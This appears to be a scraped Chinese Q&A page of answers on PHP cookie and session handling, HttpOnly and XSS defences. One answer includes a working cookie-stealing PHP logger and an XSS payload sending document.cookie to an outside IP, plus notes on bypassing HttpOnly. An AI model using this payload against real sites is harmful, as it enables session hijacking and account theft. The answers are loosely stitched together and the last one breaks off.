導航:首頁 > 編程語言 > phpcookiehttponly

phpcookiehttponly

發布時間:2022-05-16 00:26:53

『壹』 怎麼爬取httponly

手動在瀏覽器中獲取cookie並且設置到我的爬蟲裡面 是可以進行登陸後的操作的。

在Web安全領域,跨站腳本攻擊時最為常見的一種攻擊形式,也是長久以來的一個老大難問題,而本文將向讀者介紹的是一種用以緩解這種壓力的技術,即HTTPonly cookie。

什麼是HttpOnly

如果您在cookie中設置了HttpOnly屬性,那麼通過js腳本將無法讀取到cookie信息,這樣能有效地防止XSS攻擊,目前sun公司還沒有公布相關的API,但phpC均有實現。搞javaEE的兄弟們比較郁悶了,別急下文有變通實現。

『貳』 HTML靜態頁如何處理HTTPONLY問題

使用PHP來設置HttpOnly
PHP支持從5.2.0版開始設置HttpOnly標志(2006年11月)。
對於由PHP管理的會話cookie,該標志可以通過參數在HttpOnly中的php.ini PHP手冊中永久設置:
session.cookie_httponly =true;

或通過函數[6]在腳本中和期間:
void session_set_cookie_params(int $ lifetime [,string $ path [,string $ domain
[,bool $ secure = false [,bool $ httponly = false]]]])

對於應用程序cookie setcookie()中的最後一個參數,設置HttpOnly標志[7]:
bool setcookie(string $ name [,string $ value [,int $ expire = 0 [,string $ path
[,string $ domain [,bool $ secure = false [,bool $ httponly = false]]]]]])

『叄』 PHP中COOKIE或SESSION值在不同頁面取值不了

在一個頁面設置一個cookie時,必須刷新或到下一個頁面才可以用 $_COOKIE 得到變數的值.原因是因為當頁面第一次被瀏覽器訪問載入時,頁面中的 cookie 會被設置,將其發送存儲到客戶端指定的存儲位置,所以$_COOKIE沒有接收到客戶端發送過來的 cookie 變數的值,當刷新或到下一個頁面時,客戶端會在頁面程序在伺服器端運行之前,發送與該地址相對應的 cookie到伺服器端,所以 $_COOKIE 可以得到的值!
說白了就是當每一個頁面被訪問時,如果客戶端找到了與訪問地址相對應的 cookie 時,會在程序在伺服器端運行之前發送這個 cookie 到伺服器端. (個人對此的看法)本人表達能力不強,如有不明,還請抱歉!php中設置cookie數組的時候,不可以用像php中的那個添加數據的方法:
<?php
setcookie('my_cookie[]', 1);
setcookie('my_cookie[]', 2);
print_r($_COOKIE); // Array ( [my_cookie] => Array ( [0] => 1 ))
// 數組的值添加是添加成功了,不過索引沒有變,後面的數據將前的數據覆蓋了!由此得到
my_cookie[],默認指向數據的第一元素的位置,即索引為0 的位置. 注意與php中的不一樣! 以後用cookie數據記住要指定數組元素索引哦!

$my_cookie[] = 1;
$my_cookie[] = 2;
print_r($my_cookie); //Array ( [0] => 1 [1] => 2)
?>刪除 cookie 變數的兩個方法:
1.php
<?php
setcookie('user_name_1', 'zhaofei299', time()+3600); // 生存期為 1 個小時
setcookie('user_name_2', 'ZHAOFEI299', time()+3600); // 生存期為 1 個小時
?>2.php
<?php
setcookie('user_name_1'); // 第一種
setcookie('user_name_2', "", time()-1); // 第二種
print_r($_COOKIE); // 刷新頁面2下以上會輸出 Array ( [user_name_1] => )/*為什麼超級全局變數 $_COOKIE 中的 user_name_1 沒有被刪除(變數為空並不代表不存在),而user_name_2被刪除了? 那是因為兩個刪除變數的方式不同!

第一種: 是設置了 cookie 的生存期, 只不過是將它的值默認設置為空,生存期為與瀏覽器一樣,瀏覽器關閉時,cookie才會刪除!所以當重新打開一個瀏覽器,輸出地址時,才會發現 cookie 變數全部被刪除了!將2.php 中兩個 setcookie() 函數部分注釋掉看看(重新輸出了地址)!第二種: 也是設置了 cookie 的生存期,是使 cookie 的生存期一定過期, cookie 也就被刪除,所以刷新頁面,客戶端向伺服器端發送 cookie 時, $_COOKIE 並沒有能夠得到該cookie變數的值!
*/
?>會話id默認儲放在客戶端Cookie中!
<?php
session_start();
print_r($_COOKIE);
?>
cookie的設置有兩種方法header('set-cookie:user=zhaofei299');
setcookie('user', 'zhaofei299');會話變數不能被GET數據或POST數據重載!使用session變數傳遞數組,對象時無需序列化!
使用session變數傳遞對象時,在調用session_start()之前,必須包含該對類對象的定義,反序列化(serialize)也是如此!
刪除單個會話變數可以使用unset($_SESSION['***']) 直接刪除!刪除所有的會話變數不可以用unset($_SESSION),因為這樣會將所有的會話信息刪除,包含存儲在COOKIE中的PHPSESSID,也就是破壞了兩個頁面之間的會話聯系,應該使用$_SESSION = array();消除會話id,使頁面之間失去聯系!
session_destroy();
程序清單1.1
<?php
session_start();
header('content-type:text/html;charset=utf-8');
$_SESSION['a'] = 'a';
$_SESSION['b'] = 'b';unset($_SESSION); //測試後,再注釋下看看
$_SESSION['user'] = 'zhaofei299';
echo 'SESSION_ID: '.session_id().'
';
echo '<a href="3.php" target="_blank">測試下</a>';
?>
<?php
session_start();echo $_SESSION['user'];
echo session_id(); //會話變數改變了
?>會話id(session_id)的兩種方式傳遞:
1.cookie
2.url因為默認session是基於cookie的,而cookie又是跟隨http協議發送的,所以與cookie一樣,在session_start()之前不能有任何輸出!現在主要說一說第二種,通過 url 傳遞會話id
php中已經定義SID這個常量來得到 會話的id
sesssin_id 的使用!
<?php
session_start();
echo defined('SID')?'true':'false'; // true
echo SID; //什麼也沒有?
?>
為什麼SID的值會是null 呢?是它哪裡有問題了?
原因是因為 session 默認是基於 cookie 的,而 SID 只有 session_id 通過 url
傳遞數據時才會被賦值!
在瀏覽器中將 cookie 禁用,你就會發現 SID 有了輸出,而不是 null!
刪除session要三步實現.
<?php
session_destroy(); // 第一步: 刪除伺服器端session文件,這使用
setcookie(session_name(),'',time()-3600); // 第二步: 刪除實際的session:
$_SESSION = array(); // 第三步: 刪除$_SESSION全局變數數組
?>大家都知道session變數是保存在伺服器端的,也就是說session的變數會保存在伺服器中一個目錄中,我們可以在php.ini中的session.save_path 那裡可以找到session文件中保存的地址.默認的session的生存期是瀏覽的關閉就結束,但要知道會話過期結束後,當打開頁面session_start()會判斷會話id 是否存在,如果不存在就創建一個,否則將該會話id 的變數載入頁面!因為過期session_id會被創建一個新的,但它保存在伺服器端的session文件並沒有被刪除(關閉瀏覽器,打開session文件保存地看看),所以要用session_destory()函數清除會話id,並同時清除相應的會話文件,這樣的話才能做到最徹底的清除!
session_id 使用 url 傳遞session 變數數據時,因為session_start()開啟會話時會判斷會話id 是否存在,如果不存在就創建一個,否則將該會話id 的變數載入頁面!
而現在是使用url 來傳遞session_id,然而每一次 刷新/進入頁面 都會生成一個會話id,所以頁面之間就不能得到在另一頁面設置過的session_id 的變數,那麼使用 session也就沒什麼意義了!解決方法:在session_start()之前,手動設置頁面的session_id,這樣頁面的就可以得到前一頁中所設置的session變數的,也就實現了會話的傳遞,如下代碼可以說明!
//已禁用 cookie1.php
<?php
session_start();
$_SESSION['user'] = 'zhaofei299';
echo '<a href="2.php?'.SID.'">下一頁</a>';
?>1.php的第4行代碼也可以寫成:echo '<a href="2.php">下一頁</a>';可以設置php.ini 中的 session.use_trans_sid 為1,這樣當使用 url 傳遞會話 id 時,
瀏覽器會自動將 session_id 追加到 url 的後面!
就好像 在瀏覽器中 輸入: www.cn-juking.com 一樣,瀏覽器會自動將其更換成 http://www.cn-juking.com/2.php
<?php
session_id($_GET['PHPSESSID']); // 手動設置session_id,這種就可以使用前一個頁面的session_id 的變數了,也就實現了會話!
session_start();
print_r($_SESSION);
?>常用session函數:bool session_start(void); 初始化session
bool session_destroy(void): 刪除伺服器端session關聯文件。
string session_id() 當前session的id
string session_name() 當前存取的session名稱,也就是客戶端保存session ID的cookie名稱.默認PHPSESSID。
array session_get_cookie_params() 與這個session相關聯的session的細節.
string session_cache_limiter() 控制使用session的頁面的客戶端緩存
ini session_cache_expire() 控制客戶端緩存時間
bool session_destroy() 刪除伺服器端保存session信息的文件
void session_set_cookie_params ( int lifetime [, string path [, string domain [, boolsecure [, bool httponly]]]] )設置與這個session相關聯的session的細節
bool session_set_save_handler ( callback open, callback close, callback read, callbackwrite, callback destroy, callback gc )定義處理session的函數,(不是使用默認的方式)
bool session_regenerate_id([bool delete_old_session]) 分配新的session id

『肆』 如何實現php的安全最大化怎樣避免sql注入漏洞和xss跨站腳本攻擊漏洞

使用php安全模式

伺服器要做好管理,賬號許可權是否合理。

假定所有用戶的輸入都是「惡意」的,防止XSS攻擊,譬如:對用戶的輸入輸出做好必要的過濾

防止CSRF,表單設置隱藏域,post一個隨機字元串到後台,可以有效防止跨站請求偽造。

文件上傳,檢查是否做好效驗,要注意上傳文件存儲目錄許可權。

防禦SQL注入。

避免SQL注入漏洞

1.使用預編譯語句

2.使用安全的存儲過程

3.檢查輸入數據的數據類型

4.從資料庫自身的角度考慮,應該使用最小許可權原則,不可使用root或dbowner的身份連接資料庫。若多個應用使用同一個資料庫,也應該為資料庫分配不同的賬戶。web應用使用的資料庫賬戶,不應該有創建自定義函數,操作本地文件的許可權。

避免XSS跨站腳本攻擊

1.假定所有用戶輸入都是「邪惡」的

2.考慮周全的正則表達式

3.為cookie設置HttpOnly,防止cookie劫持

4.外部js不一定可靠

5.出去不必要的HTML注釋

6. 針對非法的HTML代碼包括單雙引號等,使用htmlspecialchars()函數。

『伍』 如何HttpOnly的cookie與AJAX請求工作

隨著B/S的普及,我們平時上網都是依賴於http協議完成,而Http是無狀態的,即同一個會話的連續兩個請求互相不了解,他們由最新實例化的環境進行解析,除了應用本身可能已經存儲在全局對象中的所有信息外,該環境不保存與會話有關的任何信息,http是不會為了下一次連接而維護這次連接所傳輸的信息的。所以為了在每次會話之間傳遞信息,就需要用到cookie和session,無論是什麼,都是為了讓伺服器端獲得一個token來檢查合法性,很多時候都是在cookie中存儲一個sessionID,伺服器來識別該用戶,那麼安全隱患也就引申而出了,只要獲得這個cookie,就可以取得別人的身份,特別是管理員等高級許可權帳號時,危害就大了,而XSS就是在別人的應用程序中惡意執行一段JS以竊取用戶的cookie。
那麼如何獲得Cookie劫持呢?在瀏覽器中的document對象中,就儲存了Cookie的信息,而利用js可以把這裡面的Cookie給取出來,只要得到這個Cookie就可以擁有別人的身份了。下面簡單說說如何竊取cookie。
接收cookie的PHP文件ck.php為:
<?php
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$time=date("j F, Y, g:i a");
$referer=getenv ('HTTP_REFERER');
$fp = fopen('cookie.txt', 'a');
fwrite($fp, 'Cookie: '.$cookie.'<br> IP: ' .$ip. '<br> Date and Time: ' .$time. '<br> Referer: '.$referer.'<br><br><br>');
fclose($fp);
?>
把這個文件放在自己的伺服器上,比如我們搭建的伺服器為:http://10.65.21.78:8080 .
那麼構造XSS語句:
<script>window.open('http://10.65.21.78:8080/ck.php?c='+document.cookie)</script>
當執行script成功時就會把cookie發送到自己的伺服器下cookie.txt文件中。XSS攻擊是多麼可怕的事情。
說了這么多,貌似還沒有提到HttpOnly,這是哪般?莫及!這就到了!如何保障我們的Cookie安全呢?Cookie都是通過document對象獲取的,我們如果能讓cookie在瀏覽器中不可見就可以了,那HttpOnly就是在設置cookie時接受這樣一個參數,一旦被設置,在瀏覽器的document對象中就看不到cookie了。而瀏覽器在瀏覽網頁的時候不受任何影響,因為Cookie會被放在瀏覽器頭中發送出去(包括Ajax的時候),應用程序也一般不會在JS里操作這些敏感Cookie的,對於一些敏感的Cookie我們採用HttpOnly,對於一些需要在應用程序中用JS操作的cookie我們就不予設置,這樣就保障了Cookie信息的安全也保證了應用。
給瀏覽器設置Cookie的頭如下:
Set-Cookie: =[; =]
[; expires=][; domain=]
[; path=][; secure][; HttpOnly]
如果 Cookie 具有 HttpOnly 特性且不能通過客戶端腳本訪問,則為 true;否則為 false。默認值為 false。
但是,也可以看到HttpOnly並不是萬能的,首先它並不能解決XSS的問題,仍然不能抵制一些有耐心的黑客的攻擊,甚至一些基於XSS的proxy也出現了,但是已經可以提高攻擊的門檻了,起碼XSS攻擊不是每個腳本小子都能完成的了,而且其他的那些攻擊手法因為一些環境和技術的限制,並不像Cookie竊取這種手法一樣通用。
HttpOnly也是可能利用一些漏洞或者配置Bypass的,關鍵問題是只要能取到瀏覽器發送的Cookie頭就可以了。譬如以前出現的Http Trace攻擊就可以將你的Header里的Cookie回顯出來,利用Ajax或者flash就可以完成這種攻擊,這種手法也已經在Ajax和flash中獲得修補。另外一個關於配置或者應用程序上可能Bypass的顯著例子就是phpinfo,大家知道phpinfo會將瀏覽器發送的http頭回顯出來,其中就包括我們保護的auth信息,而這個頁面經常存在在各種站點上,只要用ajax取phpinfo頁面,取出header頭對應的部分就可以獲得Cookie了。一些應用程序的不完善也可能導致header頭的泄露,這種攻擊方式對於基本驗證保護的頁面一樣可以攻擊。
HttpOnly在IE 6以上,Firefox較新版本都得到了比較好的支持,並且在如Hotmail等應用程序里都有廣泛的使用,並且已經是取得了比較好的安全效果。
那問題就來了,大家想想,HttpOnly 主要是為了限制web頁面程序的browser端script程序讀取cookie, 實際是瀏覽器通過協議實現限制的,黑客可不會那麼傻,肯定不會用HTTP協議來讀取cookie,肯定是在socket層面寫抓包程序,相當於寫一個低於IE6版本的應用程序。
所以,HttpOnly並不是萬能的。

『陸』 php curl獲取的cookie帶httponly怎麼辦

新浪sae平台的所有目錄都是只讀的,不可寫.如果想寫入數據,可以用storage.
或者使用SAE的臨時目錄.

『柒』 php header("Set-Cookie httpOnly為什麼 不能兩次

這相當於一個hashmap,對同一個key,多次操作,就是後者覆蓋前者。你要做多次,最好對Set-Cooke:做拼接,一次寫入。

『捌』 php怎麼寫cookies

setcookie() 函數向客戶端發送一個 HTTP cookie。
cookie 是由伺服器發送到瀏覽器的變數。cookie 通常是伺服器嵌入到用戶計算機中的小文本文件。每當計算機通過瀏覽器請求一個頁面,就會發送這個 cookie。
cookie 的名稱指定為相同名稱的變數。例如,如果被發送的 cookie 名為 "name",會自動創建名為 $user 的變數,包含 cookie 的值。
必須在任何其他輸出發送前對 cookie 進行賦值。
如果成功,則該函數返回 true,否則返回 false。
設置並發送 cookie:
<?php
$value = "my cookie value";
// 發送一個簡單的 cookie
setcookie("TestCookie",$value);
?>
<html>
<body>

閱讀全文

與phpcookiehttponly相關的資料

熱點內容
武大小孩子厲害的電影有哪些 瀏覽:35
找一個可以看的網址 瀏覽:79
四個字的國外電影,小孩兒 瀏覽:411
推薦看片網站 瀏覽:652
主角叫林飛的小說是什麼 瀏覽:683
閑置伺服器能幹什麼工作 瀏覽:949
asdr q-2299123 瀏覽:987
中國最大尺度古裝電影 瀏覽:695
電影和電視播放器 瀏覽:113
櫻桃小說by小花喵 瀏覽:514
英國看片網站叫什麼名字 瀏覽:676
法蘭克plc編程軟體 瀏覽:359
怎麼看pdf的字體 瀏覽:634
和李采潭合作的女演員有哪些 瀏覽:430
日本那部電影病嬌男主要當女主的狗是校園電影 瀏覽:210
抗日戰爭片400部 瀏覽:730
編程可以賺錢嗎 瀏覽:729
eclipseandroid建立工程 瀏覽:733
大胸女友主演 瀏覽:276
佛教電影《解怨》國語 瀏覽:474